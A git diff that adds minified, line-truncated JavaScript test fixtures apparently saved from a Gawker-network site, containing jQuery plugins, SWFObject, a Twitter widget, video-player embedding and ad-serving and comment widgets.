+},fileInputFilter:function(S){return true},cssClass:c,dragDropSupport:true,dropZone:C,url:function(S){return S.attr("action")},method:function(S){return S.attr("method")},fieldName:function(S){return S.attr("name")},formData:function(S){return S.serializeArray()},multipart:true,multiFileRequest:false,withCredentials:false,forceIframeUpload:false},m={},P={},w=/^http(s)?:\/\//,z,y=function(){return typeof XMLHttpRequest!==f&&typeof File!==f&&(!M.multipart||typeof FormData!==f||typeof FileR [...]
+}h('<iframe src="javascript:false;" style="display:none"></iframe>').appendTo(Y).remove()});Y.attr("action",L(V)).attr("method",k(V)).attr("target",W.attr("name"));o(S,Y,V);W.readyState=2;Y.get(0).submit();E(S,Y,V);Y.attr("action",T).attr("method",X).attr("target",U)},F=function(W,T,V){var U=h('<iframe src="javascript:false;" style="display:none" name="iframe_'+M.namespace+"_"+(new Date()).getTime()+'"></iframe>'),S=h.extend({},M);S.fileInput=T;S.uploadForm=V;U.readyState=0;U.abort=funct [...]
+});c.RequestFullScreen=c.test(c.domPrefixes,c.events.request,function(b){return c.isEventSupported(b,c.el)});c.cancelFullScreen=c.test(c.domPrefixes,c.events.cancel,function(b){return document[b]});d.extend(d.expr[":"],{fullscreen:function(a){return d.fs.test(c.prefixes,c.selectors,function(e){return d(a).is(e)})}})}d.event.special.fullscreenchange={setup:function(){var b=d.support.fullscreen?this:c.window_handler,a=d.support.fullscreen?c.fullscreenchange:"load unload";d(b).on(a,d.event. [...]
+var y=l.find(".glimageloader_prev");var z=(H==="next")?A:y;var B=l.find(".glimage");var C=e[s];var G=e[g[q()]];var D=e[g[n()]];if(C.alt!==""){l.find(".gltitle").html(C.alt)}var I=parseInt(d(window).width(),10);var F=parseInt(d(window).height(),10);if(p===true){B.attr({src:C.thumb});B.css({marginTop:200});p=false}z.attr("src",C.image).one("load",function(M){var K=(z.width()===0)?this.width:z.width();var J=(z.height()===0)?this.height:z.height();if(K>I){var N=K/I;K=I;J=J/N}f(J);var L=0;if( [...]
+/*!
+ * jQuery hashchange event - v1.3 - 7/21/2010
+ * http://benalman.com/projects/jquery-hashchange-plugin/
+ *
+ * Copyright (c) 2010 "Cowboy" Ben Alman
+ * Dual licensed under the MIT and GPL licenses.
+ * http://benalman.com/about/license/
+ */
+(function($,e,b){var c="hashchange",h=document,f,g=$.event.special,k=h.documentMode,d="on"+c in e&&(k===b||k>7);function a(l){l=l||location.href;return"#"+l.replace(/^[^#]*#?(.*)$/,"$1")}$.fn[c]=function(l){return l?this.bind(c,l):this.trigger(c)};$.fn[c].delay=50;g[c]=$.extend(g[c],{setup:function(){if(d){return false}$(f.start)},teardown:function(){if(d){return false}$(f.stop)}});f=(function(){var l={},r,o=a(),m=function(s){return s},n=m,q=m;l.start=function(){r||p()};l.stop=function() [...]
+c.css({filter:a.filter(d),width:c.width(),height:c.height()}).attr({src:b.ifixpng.getPixel()}).positionFix()}}}else{var f=c.css("backgroundImage");if(f.match(/^url\(["']?(.*\.png([?].*)?)["']?\)$/i)){f=RegExp.$1;f=(e&&f.substring(0,1)!="/")?e+f:f;c.css({backgroundImage:"none",filter:a.filter(f)}).children().children().positionFix()}}})}:function(){return this};b.fn.iunfixpng=a.ltie7?function(){return this.each(function(){var c=b(this);var d=c.css("filter");if(d.match(/src=["']?(.*\.png([ [...]
+f(n,m,l);var h=k.resizeable;if(!h&&m.resizeable){a(window).bind("resize.masonry",function(){d(n,m,l)})}if(h&&!m.resizeable){a(window).unbind("resize.masonry")}}else{return this}})};a.masonry={defaults:{singleMode:false,columnWidth:undefined,itemSelector:undefined,appendedContent:undefined,saveOptions:true,resizeable:true},colW:undefined,colCount:undefined,colY:undefined,wallH:undefined,masoned:undefined,posTop:0,posLeft:0,options:undefined,$bricks:undefined,$brickParent:undefined}})(jQue [...]
+return !(a8.rows>1||a8.orbital||bt(v))}).bind(aN,function(bK){bm.trigger("up",[true]);return false}).bind(aL,function(bK){bm.trigger("up",[true]);return false})}else{bB.css({cursor:"url("+ac+"), "+c}).bind(J,function(bK,bL){bm.trigger("wheel",[bL]);return false}).bind(X,function(bK){bm.trigger("play")}).bind(a8.clickfree?aD:d,function(bK){bm.trigger("down",[bK.clientX,bK.clientY]);return false}).bind(a8.clickfree?ap:"",function(bK){bm.trigger("up");return false}).disableTextSelect()}(a8. [...]
+}if(bI.length){var bN=bI[bC-1];bm.attr({src:a8.path+bN})}else{if(!a8.stitched){var bE=(bC%bD)-1,bE=bE<0?bD-1:bE,bH=ab((bC-0.1)/bD),bH=bH+(a8.rows>1?0:(bt(aI)?0:bt(H))),bG=bt(aJ),bM=bH*((bA?bz.y:bz.x)+bG),bK=bE*((bA?bz.x:bz.y)+bG),bB=bI.length?[0,0]:bA?[-bK+a3,-bM+a3]:[-bM+a3,-bK+a3]}else{var bL=M(bO*bt(at)),bJ=0,bB=[-bL+a3,bJ+a3]}bm.css({backgroundPosition:bB.join(m)})}bj.call(bF)}},bj=function(bz){Q||delete this;return bz},bh,bg=0,bo=function(){return bh=0},bs=function(){clearTimeout(bw [...]
+case"object":if(o[0]){o=o[0]}if(o[l]){o=o[l]}if(o[n]){break}default:if(typeof s=="object"){return s}o=h}var u;if(!q&&(u=this.parent(s))){s=this.remove(s,u)}var t=this.rule(s);if(o.addRule){o.addRule(t[1],t[2]||";")}else{if(o.insertRule){o.insertRule(t[1]+"{"+t[2]+"}",o[n].length)}}return o[n][o[n].length-1]},remove:function(q,s){s=s||this.parent(q);if(s!=h){var o=s?e.inArray(q,s[n]):-1;if(o!=-1){q=this.appendTo(q,0,true);s[f](o)}}return q},clean:function(o){return e.map(o.split("}"),func [...]
+(function(a){a.fn.spin=function(d,c){var b={small:{lines:10,length:3,width:2,radius:3},medium:{lines:12,length:5,width:4,radius:7,trail:40},large:{lines:12,length:4,width:3,radius:8}};if(Spinner){return this.each(function(){var f=a(this),e=f.data();if(e.spinner){e.spinner.stop();delete e.spinner}if(d!==false){if(typeof d==="string"){if(d in b){d=b[d]}else{d={}}if(c){d.color=c}}e.spinner=new Spinner(a.extend({color:f.css("color")},d)).spin(this)}})}else{throw"Spinner class not available." [...]
+setTimeout(function(){$(table).trigger("sortEnd",table)},0)}function computeTableHeaderCellIndexes(t){var matrix=[],lookup={},thead=t.getElementsByTagName("THEAD")[0],trs=thead.getElementsByTagName("TR"),i,j,k,l,c,cells,rowIndex,cellId,rowSpan,colSpan,firstAvailCol,matrixrow;for(i=0;i<trs.length;i++){cells=trs[i].cells;for(j=0;j<cells.length;j++){c=cells[j];rowIndex=c.parentNode.rowIndex;cellId=rowIndex+"-"+c.cellIndex;rowSpan=c.rowSpan||1;colSpan=c.colSpan||1;if(typeof(matrix[rowIndex]) [...]
+}a=a.substring(cnt);b=b.substring(cnt);if(x.test(a)||x.test(b)){if(x.test(a)===false){return(a)?1:-1}else{if(x.test(b)===false){return(b)?-1:1}else{t=parseFloat(a)-parseFloat(b);if(t!==0){return t}else{t=a.search(/[^\.\d]/)}if(t===-1){t=b.search(/[^\.\d]/)}a=a.substring(t);b=b.substring(t)}}}return(a>b)?1:-1}catch(er){return 0}}function sortTextDesc(a,b){if($.data(tbl[0],"tablesorter").sortLocaleCompare){return b.localeCompare(a)}return -sortText(a,b)}function getTextValue(a,mx,d){if(a== [...]
+},type:"numeric"});ts.addParser({id:"currency",is:function(s){return(/^[\u00a3$\u20ac\u00a4\u00a5\u00a2?.]/).test(s)},format:function(s){return $.tablesorter.formatFloat(s.replace(/\,/g,".").replace(new RegExp(/[^0-9. \-]/g),""))},type:"numeric"});ts.addParser({id:"ipAddress",is:function(s){return(/^\d{2,3}[\.]\d{2,3}[\.]\d{2,3}[\.]\d{2,3}$/).test(s)},format:function(s){var i,item,a=s.split("."),r="",l=a.length;for(i=0;i<l;i++){item=a[i];if(item.length===2){r+="0"+item}else{r+=item}}retu [...]
+ac<Q;ac++){if(ad(ae[ac])===false){return}}}function y(Q){return Object.prototype.toString.call(Q)==="[object Function]"}function r(Q){return Object.prototype.toString.call(Q)==="[object String]"}function w(ad,ac,Q){return Array.prototype.slice.call(ad,ac||0,Q||ad&&ad.length)}function G(ae,ad){var Q=false;T(ae,ac);function ac(af){return !(Q=ad(af))}return Q}function O(Q){this._queue=[];this._children=[];this._parent=Q;if(Q){Q._addChild(this)}}O.prototype={_addChild:function(Q){this._child [...]
+}else{ax=aw}}}else{ax=aA}function aA(){ak(al)}function aw(){H.ajax({url:aq,type:"GET",dataType:"text",async:false,success:function(aF){ak(aF)}})}function an(aH,aF,aG){n("<XHR for "+aq+">",aG);ag.resume()}function au(){return M(function(){ag.resume()})}function aB(){var aH,aG;function aF(aJ,aI){if(!aH){aG=aJ;return}try{ak(aJ,au())}catch(aK){n(aJ,aK)}}H.ajax({url:aq,type:"GET",dataType:"text",async:true,success:aF,error:an});return function(){aH=true;if(aG){ak(aG)}else{ag.pause()}}}functio [...]
diff --git a/src/test/resources/s/deadspin_files/base.v10.static.misc.20130118.js b/src/test/resources/s/deadspin_files/base.v10.static.misc.20130118.js
new file mode 100644
index 0000000..4c518cd
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/base.v10.static.misc.20130118.js
@@ -0,0 +1,29 @@
+var GM_fbc=GawkerBase.extend({initialize:function(a,b){this.logging_enabled=false;this.appid=a;this.receiver=b;this.fbInit()},fbInit:function(){FB.Facebook.init(this.appid,this.receiver)},fbReady:function(d,b,a){FB.Facebook.get_sessionWaitable().waitUntilReady(function(){this.fb_sess=FB.Facebook.apiClient.get_session();FB.Facebook.apiClient.users_getInfo(this.fb_sess.uid,new Array("name"),function(f,g){this.fb_user=f;try{this.fb_user=this.fb_user[0];if(this.fb_user.uid){if(d){switch(d){c [...]
+a.embedAttrs.src=b[d+1];a.params[h]=b[d+1];break;case"rev":a.embedAttrs.src+=b[d+1];a.params[h]+=b[d+1];break;case"onafterupdate":case"onbeforeupdate":case"onblur":case"oncellchange":case"onclick":case"ondblclick":case"ondrag":case"ondragend":case"ondragenter":case"ondragleave":case"ondragover":case"ondrop":case"onfinish":case"onfocus":case"onhelp":case"onmousedown":case"onmouseup":case"onmouseover":case"onmousemove":case"onmouseout":case"onkeypress":case"onkeydown":case"onkeyup":case"on [...]
+});var l=jQuery(".amazoncarousel form");l.css("width",g.outerWidth()-80);if(h.length>1){e.append(' <a href="#" id="carouselPrev">Previous</a> <a href="#" id="carouselNext">Next</a> ');var d=l.outerWidth();jQuery("#carouselPrev").click(function(){CarouselPrev(e,d);return false});jQuery("#carouselNext").click(function(){CarouselNext(e,d);return false});var f=setInterval("amazoncarouselrotate()",3000);jQuery(".amazoncarouselwrapper").hover(function(){clearInterval(f)},function [...]
+a.bind("clickoutside",function(){b.hide();a.unbind("clickoutside")})}else{b.hide()}})}function gawker_getSLD(b){if(b){var d=b.split("."),a=d[d.length-1].length?d.length:d.length-1;return a>1?d.slice(a-2,a).join("."):d[0]}else{return b}}(function(){var a=/^(?:https?:)?\/\/([^\/]+)/i;window.gawker_getDomain=function(d){var b=a.exec(d);return(b&&b[1])?b[1]:null}})();(function(b){function a(d){if(d){var e=gawker_getDomain(d);return gawker_getSLD(e.toLowerCase())!==gawker_getSLD(window.locati [...]
+if(d.isLoaded()){d._api().fp_updateClip(m,e)}var n=d.getConfig();var l=(e==-1)?n.clip:n.playlist[e];v(l,m,true)},_fireEvent:function(F,H,n,m){if(F=="onLoad"){p(g,function(J,I){if(I[0]){d._api().fp_addCuepoints(I[0],e,J)}});return false}m=m||f;if(F=="onCuepoint"){var G=g[H];if(G){return G[1].call(d,m,n)}}if(H&&"onBeforeBegin,onMetaData,onStart,onUpdate,onResume".indexOf(F)!=-1){v(m,H);if(H.metaData){if(!m.duration){m.duration=H.metaData.duration}else{m.fullDuration=H.metaData.duration}}}v [...]
+e[F]=function(Q,R){if(!e.isLoaded()){return e}var G=null;if(Q!==undefined&&R!==undefined){G=g["fp_"+F](Q,R)}else{G=(Q===undefined)?g["fp_"+F]():g["fp_"+F](Q)}return G==="undefined"||G===undefined?e:G}});e._fireEvent=function(G){if(typeof G=="string"){G=[G]}var F=G[0],T=G[1],V=G[2],W=G[3],X=0;if(n.debug){y(G)}if(!e.isLoaded()&&F=="onLoad"&&T=="player"){g=g||C(K);P=g.clientHeight;p(h,function(){this._fireEvent("onLoad")});p(b,function(R,Q){Q._fireEvent("onUpdate")});H._fireEvent("onLoad")} [...]
+}catch(e){try{var b=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");d=b&&b.GetVariable("$version")}catch(a){}}d=p.exec(d);return d?[d[1],d[3]]:[0,0]},asString:function(b){if(b===null||b===undefined){return null}var d=typeof b;if(d=="object"&&b.push){d="array"}switch(d){case"string":b=b.replace(new RegExp('(["\\\\])',"g"),"\\$1");b=b.replace(/^\s?(\d+\.?\d+)%/,"$1pct");return'"'+b+'"';case"array":return"["+v(b,function(g){return o.asString(g)}).join(",")+"]";case"function":return'"fu [...]
+this.rows=b;this.columns=a;jQuery(document).ready(jQuery.proxy(function(){this.setupImage()},this))}jQuery.extend(GReel.prototype,{setupImage:function(){if(jQuery(".grid-full").length){this.view="ajax";content=jQuery(".grid-full > .presence_control_external");jQuery(".imgwrap.abovewrap").hide()}else{if(jQuery("#content article#post").length){content=jQuery("#content");this.view="mobile";jQuery("#mediaContainer").hide()}else{content=jQuery(".content");this.view="static";jQuery(".illustrat [...]
+return}else{B.show()}}var l={API:b.api_url,Options:{is_frontpage:b.is_frontpage,site_id:b.site_id,view:b.view,os:b.os,device:b.device,browser:b.browser,geoip:b.geoip},"Search URL":a.searchUrl};var u=[],p=0;for(p=0;p<g.skins.length;p++){var z=g.skins[p],A=z.name,n=[];for(var o=0;o<z.schedules.length;o++){var s=z.schedules[o];if(z.schedule_found==s){n.push('<span class="found">'+s.name+"</span>");A='<span class="found">'+z.name+"</span>"}else{n.push(s.name)}}u.push(A+" ("+n.join(" | ")+")" [...]
+for(o=0,m=p.length;o<m;o+=1){n=this.filterSchedules(this.skinSearchParams,p[o]);if(n.length>0){p[o].schedule_found=n[0];return p[o]}}}return undefined},filterSchedules:function(m,l){return l.schedules.filter(jQuery.proxy(function(n){return this.scheduleMatching(n)&&this.pageTypeMatching(m,n)&&this.tagsOrPostMatching(m,n)&&this.geoipMatching(b.geoip,n)&&this.browserMatching(n)&&this.osMatching(n)&&this.deviceMatching(n)&&true},this))},fixBoolean:function(l){return(l!==undefined&&(parseInt [...]
+}else{window.adRobot.cancelMarquee()}e("head .takeover_css").remove();this.hasSkin=false;jQuery(document).trigger("ad.adrobot.skin.ready")},log:function(l){if(this.debugMode===true){console.log(l)}},getRequestParams:function(){var l=window.location.href.match(/\?(.+)$/);if(l!==null){return window.gawker_parseQueryString(l[1])}return{}}};var d=(function(){var p={"1":/_rightbar/,"2":/_marquee/,"3":/_takeover/,"4":/_inpost/,"5":/640x360_default/},o=6,m=1,l=null,q=false,n=false;return{getDar [...]
+var e=this.createInfo((g+1),f.name,f.description,d);if((g+1)%3==1){if(b){a.append(b)}b=jQuery('<div class="row"></div>')}b.append(e.infoBox);google.maps.event.addDomListener(e.infoBox[0],"click",jQuery.proxy(function(h){this.openInfoWindow(e,d)},this));google.maps.event.addDomListener(e.infoBox[0],"mouseover",jQuery.proxy(function(h){this.highlight(e.infoBox,d)},this));google.maps.event.addDomListener(e.infoBox[0],"mouseout",jQuery.proxy(function(h){this.removeHighlight(d)},this));google [...]
+document.writeln('<param name="movie" value="http://player.motionbox.com/VideoPlayer.swf?" /> <param name="allowScriptAccess" value="always" /> <param name="allowFullscreen" value="true" /> <param value="'+a+'" name="flashvars" />');document.writeln('<!--[if !IE]>--> <object width="500" height="281" name="progressive_player" allowscriptaccess="always" allowfullscreen="true" data="http://player.motionbox.com/VideoPlayer.swf?" type [...]
+}return A};g.opacity=function(z,y,A){if(y<z.childNodes.length){z.childNodes[y].style.opacity=A}};(function(){var z=h(l("group"),{behavior:"url(#default#VML)"}),y;if(!u(z,"transform")&&z.adj){for(y=4;y--;){o.addRule(["group","roundrect","fill","stroke"][y],"behavior:url(#default#VML)")}g.lines=function(C,B){var A=B.length+B.width,I=2*A;function H(){return h(l("group",{coordsize:I+" "+I,coordorigin:-A+" "+-A}),{width:I,height:I})}var G=H(),D=~(B.length+B.radius+B.width)+"px",F;function E(K [...]
+/*! SWFObject v2.2 <http://code.google.com/p/swfobject/>
+ is released under the MIT License <http://www.opensource.org/licenses/mit-license.php>
+*/
+var swfobject=function(){var K="undefined",y="object",Z="Shockwave Flash",ad="ShockwaveFlash.ShockwaveFlash",w="application/x-shockwave-flash",Y="SWFObjectExprInst",E="onreadystatechange",V=window,n=document,A=navigator,aa=false,ab=[l],u=[],U=[],P=[],p,X,L,I,Q=false,a=false,s,N,q=true,T=function(){var ah=typeof n.getElementById!=K&&typeof n.getElementsByTagName!=K&&typeof n.createElement!=K,ao=A.userAgent.toLowerCase(),af=A.platform.toLowerCase(),al=af?/win/.test(af):/win/.test(ao),aj=af [...]
+return}}ae.removeChild(ah);ag=null;O()})()}else{O()}}function O(){var an=u.length;if(an>0){for(var am=0;am<an;am++){var af=u[am].id;var ai=u[am].callbackFn;var ah={success:false,id:af};if(T.pv[0]>0){var al=d(af);if(al){if(M(u[am].swfVersion)&&!(T.wk&&T.wk<312)){D(af,true);if(ai){ah.success=true;ah.ref=G(af);ai(ah)}}else{if(u[am].expressInstall&&H()){var ap={};ap.data=u[am].expressInstall;ap.width=al.getAttribute("width")||"0";ap.height=al.getAttribute("height")||"0";if(al.getAttribute("c [...]
+}}}function D(ag,ae){if(!q){return}var af=ae?"visible":"hidden";if(Q&&d(ag)){d(ag).style.visibility=af}else{C("#"+ag,"visibility:"+af)}}function S(af){var ag=/[\\\"<>\.;]/;var ae=ag.exec(af)!=null;return ae&&typeof encodeURIComponent!=K?encodeURIComponent(af):af}var e=function(){if(T.ie&&T.win){window.attachEvent("onunload",function(){var aj=P.length;for(var ai=0;ai<aj;ai++){P[ai][0].detachEvent(P[ai][1],P[ai][2])}var ag=U.length;for(var ah=0;ah<ag;ah++){F(U[ah])}for(var af in T){T[af]=n [...]
+p<o;++p){q.call(m||window,n[p],p,n)}}function b(m,o,n){this.el=m;this.prop=o;this.from=n.from;this.to=n.to;this.time=n.time;this.callback=n.callback;this.animDiff=this.to-this.from}b.canTransition=function(){var m=document.createElement("twitter");m.style.cssText="-webkit-transition: all .5s linear;";return !!m.style.webkitTransitionProperty}();b.prototype._setStyle=function(m){switch(this.prop){case"opacity":this.el.style[this.prop]=m;this.el.style.filter="alpha(opacity="+m*100+")";brea [...]
+}if(ab<Z){return Math.floor(ab/X)+" hours ago"}if(ab>Z&&ab<Z*2){return"yesterday"}if(ab<Z*365){return Math.floor(ab/Z)+" days ago"}else{return"over a year ago"}};var p={link:function(U){return U.replace(/\b(((https*\:\/\/)|www\.)[^\"\']+?)(([!?,.\)]+)?(\s|$))/g,function(aa,Z,X,W,V){var Y=X.match(/w/)?"http://":"";return'<a class="twtr-hyperlink" target="_blank" href="'+Y+Z+'">'+((Z.length>25)?Z.substr(0,24)+"...":Z)+"</a>"+V})},at:function(U){return U.replace(/\B[@@]([a-zA-Z0-9_]{1,20})/ [...]
+var Z=X+"search."+aa+"/search.";var ab="http://gawker.com/index.php?op=virgin_twitter_";var W=X+aa+"/favorites/";var Y=X+"api."+aa+"/1/";var V=25000;var U=B?"https://twitter-widgets.s3.amazonaws.com/j/1/default.gif":"http://widgets.twimg.com/j/1/default.gif";return{init:function(ad){var ac=this;this._widgetNumber=++TWTR.Widget.WIDGET_NUMBER;TWTR.Widget["receiveCallback_"+this._widgetNumber]=function(ae){ac._prePlay.call(ac,ae)};this._cb="TWTR.Widget.receiveCallback_"+this._widgetNumber;t [...]
+}}return this},_fullScreenResize:function(){var ac=n("twtr-timeline","div",document.body,function(ad){ad.style.height=(I()-90)+"px"})},setTweetInterval:function(ac){this.interval=ac;return this},setBase:function(ac){this._base=ac;return this},setUser:function(ad,ac){this.username=ad;this.realname=ac||" ";if(this._isFavsWidget){this.setBase(W+ad+".")}else{if(this._isProfileWidget){this.setBase(ab+this.format+"&screen_name="+ad)}}this.setSearch(" ");return this},setList:function(ad,ac){thi [...]
+}if(m.call(this,ag)){ae.resume.call(ae)}};this.removeEvents=function(){o.remove(ad,"mouseover",af);o.remove(ad,"mouseout",ac)};o.add(ad,"mouseover",af);o.add(ad,"mouseout",ac)}this._rendered=true;this._ready();return this},removeEvents:function(){},_getDefaultTheme:function(){return{shell:{background:"#8ec1da",color:"#ffffff"},tweets:{background:"#ffffff",color:"#444444",links:"#1985b5"}}},_getWidgetHtml:function(){var ae=this;function ag(){if(ae._isProfileWidget){return'<a target="_blan [...]
+this.results=this._loadTopTweetsAtTop(this.results);var af=this.results;this.results=this.results.sort(function(ah,ag){if(ah.views<ag.views){return -1}else{if(ah.views>ag.views){return 1}}return 0});if(!this._isLive){this.results.reverse()}},_prePlay:function(ad){if(this.jsonRequestTimer){clearTimeout(this.jsonRequestTimer);this.jsonRequestTimer=null}if(!S.ie){O(this.scriptElement)}if(ad.error){this.newResults=false}else{if(ad.results&&ad.results.length>0){this.response=ad;this.newResult [...]
+function a(v){v=v||window.event;var u=v.target||v.srcElement,o,p,n,s,q;while(u&&u.nodeName.toLowerCase()!=="a"){u=u.parentNode}if(u&&u.nodeName.toLowerCase()==="a"&&u.href){o=u.href.match(f);if(o){p=550;n=(o[2] in l)?420:560;s=Math.round((d/2)-(p/2));q=0;if(e>n){q=Math.round((e/2)-(n/2))}window.open(u.href,"intent",h+",width="+p+",height="+n+",left="+s+",top="+q);v.returnValue=false;v.preventDefault&&v.preventDefault()}}}if(document.addEventListener){document.addEventListener("click",a,f [...]
+}if(e.embedName){f+=' name="'+e.embedName+'"'}f+="></embed>"}f+="</object>";return{output:f}},flow:function(m,f){var o={"default":"#@729b1ef2eb63513996a",deadspin:"#@c4de160d2885634aef2",gawker:"#@729b1ef2eb63513996a",gizmodo:"#@165c7e3eaf777189373",io9:"#@0c6d54676e70351ad8d",jalopnik:"#@2360a735466fc1bc9d4",jezebel:"#@071da37431d95497438",kotaku:"#@0cf9dea9bfc70dce2c8",lifehacker:"#@0a3b01f1f3c947d395d"};var g={"default":"http://edge-cache.gawker.com/util/flowplayer/flowplayer.commerci [...]
+l.height=!isNaN(e)?e:500;if(h){l.watermark=h}}return l},getData:function(e){var g=(navigator.userAgent.match(/iPhone|iPad|iPod|Android/i)!=null||location.search.match(/[&?]html5=true/i)!=null);e.playerType="flash";if(e.source!==undefined&&b[e.source]!=undefined){e=b[e.source](e)}var f=null;if(e.playerType=="iframe"){f=a.iframe(e)}else{if(g){if(e.source!==undefined&&e.source=="viddler"){f=a.viddlerHTML(e)}else{if(typeof e.native_source!=="undefined"){f=a.html(e)}}}else{if(e.source&&e.sour [...]
diff --git a/src/test/resources/s/deadspin_files/base.v10.static.widget.20130118.js b/src/test/resources/s/deadspin_files/base.v10.static.widget.20130118.js
new file mode 100644
index 0000000..858aa04
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/base.v10.static.widget.20130118.js
@@ -0,0 +1,56 @@
+(function(b){var a="HyperionAd";b.widget("ui."+a,{default_sizes:["300x600","640x360","300x250","640x100"],iteration:0,adZone:null,hyperion:window.Hyperion,keywordsEnabled:true,keywordsLoaded:false,keywords:[],refreshOn:[],reRunOnLoad:0,onLoadReRunner:null,debug:false,initialize:function(){var e,c;this.options.original_size=this.options.size;this.options.dart_params=this.hyperion.ZoneHelper.getDartParams(this.options.original_size,this.options.variant);this.options.size_variant=this.optio [...]
+}this.addAdInfo("keywords",e.join(", "));for(d=0,c=e.length;d<c;d++){f.push(e[d])}this.addAdInfo("dart_params",this.options.dart_params.join(" | "));return[g,f.join(";"),this.options.dart_params.join(";")].join(";")},getKeywords:function(){var f=[],g=window.adRobot.auth,d=g.ssoUser||g.sso,e,c;for(e=0,c=this.options.keywords.length;e<c;e++){f.push(this.options.keywords[e])}if(this.options.variant!=="default"){f.push("slot="+this.options.variant)}if(g.hasLevel("commenters")){f.push("commen [...]
+var d=jQuery(".inner .ad_300x250.rightbar");var e=jQuery("#rightbar_scroller");if(e[0].scrollTop===0){f.css({overflow:"visible"});d.css({"margin-top":"0px"});jQuery("#rightbar_list_container").css({top:"-250px"})}else{var b=Math.max(250-e[0].scrollTop,0);f.css({overflow:"hidden"});d.css({"margin-top":(-1*e[0].scrollTop)+"px"});var c=Math.min(e[0].scrollTop-250,0);jQuery("#rightbar_list_container").css({top:c+"px"})}}}},setIframeDimensions:function(c,d,b){jQuery(c).attr({width:d,height:b} [...]
+gawker_getScript("http://www.google.com/jsapi").then(function(){google.load("ads","1",{callback:function(){b.resolve()}})})}return this.ads_script},initAdsense:function(c,b){if(!c&&b&&b[0]){c=b[0]}if(jQuery("#ad-unit-inner").length>0&&!SocialButtons.thirdpartyDisabled){this.loadAdsense().then(function(){if(typeof google!=="undefined"){var d={format:"468x60",ad_slot:"8492826073",ad_type:"text",hints:c};new google.ads.Ad("ca-pub-0457527031304647","ad-unit-inner",d)}})}},showSp:function(b){ [...]
+}var c=["660x300_default","300x600_inpost","300x250_inpost"];if(c.indexOf(this.options.size_variant)>-1){jQuery(document).bind("ad.interstitial.init",jQuery.proxy(this.interstitialEventHandler,this));jQuery(document).bind("ad.interstitial.started",jQuery.proxy(this.interstitialEventHandler,this));jQuery(document).bind("ad.interstitial.finished",jQuery.proxy(this.interstitialEventHandler,this));if(this.options.size_variant!=="660x300_default"){jQuery(document).bind("ad.inpost300.refresh", [...]
+}var f=0,d=0;var g=[];for(f=0,d=this.options.keywords.length;f<d;f++){g.push(this.options.keywords[f])}if(this.options.original_size==="300x250"&&this.options.variant!="default"){g.push("slot="+this.options.variant)}if(this.auth.hasLevel("commenters")){g.push("commenter=yes");if(this.auth.hasLevel("starcommenters")){g.push("star=yes")}}var k=this.auth.ssoUser?this.auth.ssoUser:this.auth.sso;if(k&&k.displayName){g.push("loggedin=yes");g.push("username="+escape(escape(escape(k.displayName) [...]
+break;case"finished.marquee":if(false===this.adIsEmpty()){this.showAd(this.options.target_selector,"300x250_rightbar")}break}},interstitialEventHandler:function(b){switch(b.namespace){case"init.interstitial":break;case"interstitial.started":if(this.browser=="ie"){jQuery("#interstitial_countdown_container").css("opacity",1);jQuery("#interstitial_bottom_info").css("opacity",1);jQuery("#bannercontainer").css("opacity",1)}else{jQuery("#interstitial_countdown_container").animate({opacity:1},5 [...]
+}}}else{this.agegate_validator.showErrors()}b.stopPropagation();b.preventDefault()},getDaysLeft:function(b,d,e,c){now=new Date();birth=Date.UTC(d,e,c,0,0,0,0);nowyear=now.getYear();nowyear+=nowyear<1900?1900:0;start=Date.UTC((nowyear-b),now.getMonth()+1,now.getDate(),0,0,0,0);if(start>birth){daysLeft=0}else{daysLeft=Math.floor((birth-start)/(86400*1000))}return daysLeft}});a.extend(a.ui.AgeGate,{version:"1.0",defaults:{controlClass:"agegate_control"}})})(jQuery);(function(a){a.widget("ui [...]
+var c={host:this.parseHost(location.host),path:location.pathname};var c={host:this.parseHost(location.host),path:"null"};b.push(c);var d=this;jQuery("a.liveData").each(function(f){var g="";var h="";if(this.cbHost!==undefined){g=this.cbHost;h=this.cbPath}else{var e=new RegExp("https?://([^/]+)(.*)").exec(this.href);if(e!==null){g=d.parseHost(e[1]);h=e[2];this.cbHost=g;this.cbPath=h}}c={host:g,path:h};b.push(c)});this.links=b},runNextCheck:function(){if(this.waitingForNextCheck){return}thi [...]
+this.handleSubmit({})}this.login_state="loggedin:idle";this.controls.op.val("addcomment");this.controls.anonemailinput.val("");this.controls.anonnewsletter.val("");this.showFormUser();break;case"user.auth.failure":this.login_state="loggedout:idle";this.hideFormUser();break;case"user.emailcomment":this.login_state="guest:submit";break}},navigationEventHandler:function(c){if(c.name=="navigation.load"){this.hideForm()}},handleSubmit:function(d){d.stopPropagation();d.preventDefault();var e=f [...]
+jQuery(this.options.fields).each(function(g,h){var j=this.controls[h].val();if(this.controls[h].is("SELECT")!==true&&j!==""){d=true}}.bind(this));if(d){if(!window.confirm("Unsaved changes, do you want to clear data?")){return false}}}this.controls.mode.val(f);jQuery(".tabs li").removeClass("selected");jQuery(".tabs li.t_"+f).addClass("selected");jQuery(".tabs li.t_"+f).closest(".form_part").removeClass("pf_text pf_image pf_video pf_quote").addClass("pf_"+f);jQuery(["tab","extension"]).ea [...]
+this.controls.author_image.attr({src:"http://cache.gawkerassets.com/assets/images/commenter/noimage.gif"}).hide()},setImageUploadForm:function(c){c.stopPropagation();c.preventDefault();this.controls.image_url_wrap.hide();this.controls.image_upload_wrap.show();this.controls.fileuploadform.fileUpload({namespace:"comment_image_upload",url:"/index.php",method:"POST",fieldName:"image_upload",formData:{op:"comment_image_upload"},multiFileRequest:false,initUpload:function(g,f,d,j,e,h){this.cont [...]
+this.subscribeForEvent("commenteradmin.",this.eventHandler.bind(this));this.subscribeForEvent("threads.",this.eventThreadLoadedHandler.bind(this));this.subscribeForEvent("maincontent.profilepageloaded",this.eventThreadLoadedHandler.bind(this));this.subscribeForEvent("user.auth.",this.eventAuthHandler.bind(this));this.registerEventHandler(this.element,"click",this.handleClick.bind(this))},eventHandler:function(b){switch(b.name){case"commenteradmin.setstar":this.setStarStatus({commenter_id [...]
+},canLoadZones:function(){return b.ui.HyperionAd.prototype.canLoadZones.apply(this,arguments)&&window.adRobot.isSpShown(this.options.post_id)===true},shower:function(){}}))}(jQuery));(function(b){var a="HyperionAd_300x250_footer";b.widget("ui."+a,b.extend({},b.ui.HyperionAd.prototype,{name:a,initialize:function(){b("#ad_placeholder_300x250_footer").append(b(this.element)).show();b.ui.HyperionAd.prototype.initialize.apply(this,arguments)},canLoadZones:function(){var c=false;if(window.adRo [...]
